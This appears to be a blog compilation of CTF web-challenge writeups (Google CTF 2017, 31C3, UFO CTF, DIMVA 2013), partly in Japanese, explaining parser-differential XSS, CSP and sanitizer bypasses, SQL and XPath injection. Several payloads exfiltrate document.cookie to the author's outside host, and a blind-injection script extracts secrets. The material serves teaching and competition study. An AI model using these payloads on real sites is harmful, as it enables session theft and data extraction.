Google CTF 2017 – Geokitties v2 writeup

Overview

Problem page:
https://geokittiesv2.web.ctfcompetition.com/

Copy of source code:
https://gist.github.com/tyage/cac08c8e17b90b840fb22cb434cff127

It receives comment, then admin checks it and clicks a link.

The comment is validated by using htmlparser2.

Allowed tags are: p, a, b, img, br, i
Invalid attributes: on(.*)= and href=javascript:...

What we should do is find the differences in parsing between Google Chrome and htmlparser2.

After some time, I realize that when input is utf-16 string, Chrome parses it as utf-16 string but htmlparser2 does not.

For example, the html below is parsed as html element \x00a\x00 in htmlparser2.

\x00<\x00a\x00>\x00<\x00/\x00a\x00>\x00

<\x00a\x00> is not a valid tag, so we should create a valid html link like below.

\x00<a \x00>\x00<\x00/\x00a\x00>\x00

Now, htmlparser2 recognize a html tag but chrome does not recognize it as html element.

So we can construct an valid html .

'\x00<a \x00' + "<a href='javascript:location.href=`//tyage.net/`+document.cookie'>".split('').join('\x00') + '</a>'

Finally, admin gives us a flag: CTF{i_HoPe_YoU_fOunD_tHe_IntEndeD_SolUTioN_tHis_Time}

Google CTF 2017 – The X Sanitizer writeup

Overview

Problem page:
https://sanitizer.web.ctfcompetition.com

Copy of source code:
https://gist.github.com/tyage/6eabacf6001bd068287842b1052132e4

The application sanitize input and render it.

Sanitizing method

The method of sanitizing is follow:

1. Remove the words that match with /meta|srcdoc|utf-16be/i from input.
2. Register a ServiceWorker then, render input in iframe
3. In iframe, it load <script src=sanitize> which executes the following code:

onload = _=> setTimeout(_=> parent.postMessage(document.body.innerHTML, location.origin), 1000);
remove = node => (node == document) ? document.body.innerHTML = '' : node.parentNode.removeChild(node);
document.addEventListener("securitypolicyviolation", e => remove(e.target));
document.write('<meta http-equiv="Content-Security-Policy" content="default-src \\'none\\'; script-src *"><body>');

4. The code removes the node which violates CSP.
5. To prevent loading the attacker’s script, ServiceWorker overrides the response of contents as following code:

with(document) remove(document === currentScript.ownerDocument ? currentScript : querySelector('link[rel="import"]'));
// <script src=x></script>

6. This code remove currentScript or html import element.
7. Now, doument.body returns an sanitized html!

Evade from sanitization

But wait, why google uses with(document) ? (It is deprecated.)
Then, I thought I can disable the execution of document.remove by using the technique of HotCows Dating

OK. Let’s input the html below and confirm that it is not sanitized.

<form name=remove></form>
<link rel=import href=//tyage.net>

Execute payload

But sadly, the content which html import load is overrode by ServiceWorker.

So some techniques are needed to execute attacker’s script.

Soon, I realized that we can import the url: /sanitize?html=URL_ENCODED_HTML.
And URL_ENCODED_HTML can be a string that is not matched with /meta|srcdoc|utf-16be/i (e.g. <%6deta>).

Next, we use utf-16be to execute our payload.

Here is useful link: http://masatokinugawa.l0.cm/2012/05/utf-16content-security-policy.html

/sandbox?html=%00=%001 returns <!doctype HTML>\n<script src=sanitize>\n</script>\n<body>\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x001\x00).

When charset is utf-16be, it is interpreted as 㰡摯捴祰攠䡔䵌㸊㱳捲楰琠獲挽獡湩瑩穥㸊㰯獣物灴㸊㱢潤社=alert(1)

OK, now we can get flag in cookie!

<form name=currentScript></form>
<link rel="import" href="/sandbox?html=<script src=%22/sandbox%3Fhtml=%2500%3D%25001%2500;%2500l%2500o%2500c%2500a%2500t%2500i%2500o%2500n%2500.%2500h%2500r%2500e%2500f%2500%3D%2500%2522%2500/%2500/%2500t%2500y%2500a%2500g%2500e%2500.%2500n%2500e%2500t%2500/%2500%2522%2500+%2500(%2500d%2500o%2500c%2500u%2500m%2500e%2500n%2500t%2500.%2500c%2500o%2500o%2500k%2500i%2500e%2500)%22 charset=%22%55TF-16BE%22></script>">

flag is: CTF{no-problem-this-can-be-fixed-by-adding-a-single-if}

31C3 CTF – Page Builder writeup

This challenge needs only XSS but it is interesting to me :)

These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it. http://188.40.18.76/

スクリーンショット 2015-01-02 8.40.09

By using the form, we could generate a page.(such as http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/filename)

It htmlspecialchars the “title” and “file content” but not “style” or “filename”.

The maximum size of “style” is 8bytes and that of “filename” is 65bytes.

Then, “filename” can be foo.php and “style” can be <?php a so that it shows PHP error.

(http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/foo.php)

Parse error: syntax error, unexpected ‘” rel=”‘ (T_CONSTANT_ENCAPSED_STRING) in /var/www/html/output/19c94d778563b117e18e3442e887989aea14277d/foo.php on line 10

hmm… PHP code exeution looks difficult because maximum size of “style” is 8bytes and short_open_tag is offed. (and * is removed from “title” and “file content”)

So let’s search another vulnerability.

We can XSS with “filename”, because the error page above prints “filename” that is not escaped!

http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/%3Cbody onload=%22eval%28location.hash.slice%281%29%29%22.php#
location.href=%27http://tyage.net/%27+document.cookie

(Notice: we put the code in location.hash to fit in the maximum length of “filename”)

Now, just submit a link above in the contact form and we capture the flag!

31c3_Y0u_H4v3_F0und_My_W34k_Err0R_P01n7

DEF CON CTF Qualifier 2013

問題解いてた時のログが残ってないし、探せば他が出てくると思うのでwriteupは書きません。
一応、webを何問かとprogramming2問ほどを解きました。

うちを含め多くのチームがweb問題を全完しており、今回のweb問題は易しかったように感じます。

開始直後は、8-puzzleのprogrammingを解いて7位くらいだったけど、最終的には79位となった。

2日目・3日目は学校をサボって灘高にいて、チームで問題を解いてたらだんだん正気が保てなくなってきた。

DEFCONが僕達に残したもの
DSC_0131

UFO CTF 2013 writeup – Web200

Those aliens consider themselves as the most smart creatures in
the world. Pff. They shouldn't even have tried to defeat mankind
having such stupid stuff in their heads! As for you, why wouldn't
you hack them? They'll most likely surrender then. By the way, it
is known that they update some data every 10-20 seconds, but
unfortunately our equipment can't intercept the data itself.
 
http://superhosting.tasks.ufoctf.ru:8000/

自分のウェブページが作れ、バックアップと復元ができるシステムになっている。

バックアップしてみると、[username]_[md5(username)][md5(zipfile)].zipという名前でzipファイルがダウンロードでき、それをアップロードすることで復元ができるようになっている。
zipファイルの中身を解凍すると、.backupという名前で以下のようなファイルが入っている。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="12349813568" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
		<field type="CharField" name="owner_email">test@localhost</field>
		<field type="CharField" name="page_title">My homepage</field>
		<field type="TextField" name="page_content">Hello everyone! This is my new homepage.</field>
		<field type="CharField" name="page_footer">Made with love and care</field>
		<field type="BooleanField" name="page_is_public">False</field>
		<field type="CharField" name="page_public_id"></field>
	</object>
</django-objects>

いろいろと試した結果、復元時にpk(primary key)を変えた場合にそのpkを持つフィールドのデータを上書きすることができるとわかった。

以下のようなxmlファイルを含めて復元し、再びバックアップをダウンロードすると、pk=1のデータの入ったバックアップファイルが手に入り、pk=1のデータにflagが書かれていた。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="1" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
	</object>
</django-objects>

DIMVA CTF 2013 writeup

DIMVA CTFに参加していた。

私のチーム(Epsilon Delta)は850ポイントで17位だった。

Web 100

画像アップローダーが用意されており、どうにかこうにかする問題。

はじめにいくつか画像が用意されており、パスワードを入力しないと閲覧できない画像があったため、そのパスワードを求める問題と推察される。

各画像にはタグがついており、同じタグを持つ写真を一覧で見れる。

しかし、シングルクオートの入ったタグの場合は一覧ページでエラーが発生していたため、SQLインジェクションがあるとわかった。

画像をアップロードした際、画像のコメントがタグになって登録されるので、そこにSQLインジェクションを埋め込む。

' union all select password from pictures--

その後、一覧ページを閲覧することでパスワードが入手でき、c0ffeeからはじまるパスワードがFlagであると判明した。

c0ffee29e34ad42d38cbe236913c911a

パスワード付きの画像はこんな感じだった。

SONY DSC

素直でわかりやすい問題だったように思う。

Web 200

普通にアクセスすると

10
'user' and/or 'password' parameters missing, please provide an xml parameter of the following form to login: <login><user>(base64-encoded username)</user><password>(base64-encoded password)</password></login>

ってのが返って来る。

一日近く、urlにログイン用xmlを足したり、ファイルとして送信したり、送信するパケットのいろんなところに埋め込んだりして悩んだ。。。

コンテスト終了直前になって、/?xml=…とすればログインできることに気づく。

xml parameterってのが素直にxmlって名前のリクエストパラメータだったのに、そこに気づくまでに一日かかって英語の壁を感じる。

これがわかればあとは解くだけ。

とりあえず色々試していると、以下のレスポンスが返って来たため、XPathへのインジェクションだとわかった。

 Error during login: Query: //User[UserName/text()='' and Password/text()='' '... ........................................................^^^ Invalid query somewhere around here (I think)

「’ or ‘1’=’1」とかしてログインに成功すると、htmlのコメントで「users.xml~が残ってるからあとで消すように」と書かれているのでアクセスしてみる。

xml形式のユーザーデータがあり、「c0ffeefa7745f449c26000a2612affec」というデータがあったので、それをFlagとして送信したが失敗。

どうやらuser.xml~は古いデータらしく、現在は別のものに置き換わっている模様。

なのでblind injectionを利用して現在のデータからFlagを取得する。

var search = "c0ffee";
 
var test = function(next) {
	$.ajax({
		url: "/",
		data: {
			user: "",
			password: Base64.encode("' | //User[contains(.,'" + search + next)
		}
	}).done(function(data) {
		search += next
		nextTest();
	});
};
 
var nextTest = function() {
	for (var i="a".charCodeAt(0);i<="z".charCodeAt(0);++i) {
		test(String.fromCharCode(i));
	}
	for (var i=0;i<=9;++i) {
		test(i);
	}
};

以下のFlagが得られる。

c0ffee153dbc077ea80f4e697a63ec1e

Accepted!!!

SIGINT CTF 2013 writeup – bloat (cloud 200)

CTF

えと、ブログを更新停止している間に、Epsilon DeltaとしていくつかCTFに参加していました。

  • Codegate YUT Preliminary 2013
  • Nuit du Hack CTF Quals 2013
  • BaltCTF Quals 2013
  • SECUINSIDE CTF Quals 2013
  • Boston Key Party CTF 2013
  • DEF CON CTF Qualifier 2013
  • SIGINT CTF 2013

はじめは海外のCTFの感覚がつかめず、ちゃんと解いたような記憶もなかったのですが、BKPあたりからは少し慣れてきたような気がします。

今まで解いてた問題のwrite upを書こうとも思ったのですが、すっかり忘れてしまっているため、一番最近やったSIGINT CTFのwrite upを書くことにします。

“SIGINT CTF 2013 writeup – bloat (cloud 200)” の続きを読む